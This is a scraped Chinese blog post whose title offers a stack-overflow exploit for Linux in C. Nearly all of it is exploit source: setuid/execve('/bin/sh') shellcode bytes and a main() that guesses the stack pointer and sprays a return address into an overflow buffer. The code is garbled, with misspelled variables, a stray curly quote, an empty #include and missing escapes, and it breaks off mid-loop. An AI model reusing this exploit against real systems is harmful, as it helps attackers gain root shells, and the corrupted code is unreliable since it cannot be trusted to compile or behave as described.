栈溢出攻击c语言_linux漏洞攻击。使用漏洞攻击代码进行栈溢出漏洞攻击

最新推荐文章于 2023-05-05 20:18:00 发布

weixin_39578513

最新推荐文章于 2023-05-05 20:18:00 发布

阅读量140

点赞数

文章标签：栈溢出攻击c语言

本文链接：https://blog.csdn.net/weixin_39578513/article/details/111798465

版权

该楼层疑似违规已被系统折叠隐藏此楼查看此楼

下面给出源代码：

#include

char shellcode[] =

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff\bin\sh";unsigned long get_sp(void){ __asm__("movl %esp, %eax“);}int main(int argc, char *argv[1]) { int i, offset = 0; unsigned int esp, ret, *addr_prt; char *buffer, *prt; int size = 500;

esp = get_sp(); if(argc > 1) size = atoi(argv[1]); if(argc > 2) offset = atoi(argb[2]); if(argc > 3) esp = strtoul(argv[3],NULL,0); ret = esp - offset;

\n", argv[0]); fprintf(stderr,"ESP:0x%x offset:0x%x Return:0x%x\n",exp,offset,ret); buffer = (char *)malloc(size); ptr = buffer; addr_ptr = (unsigned int *) ptr; for(i=0; i < size; i+=4){ *(addr_ptr++) = ret; } for(i=0; i

}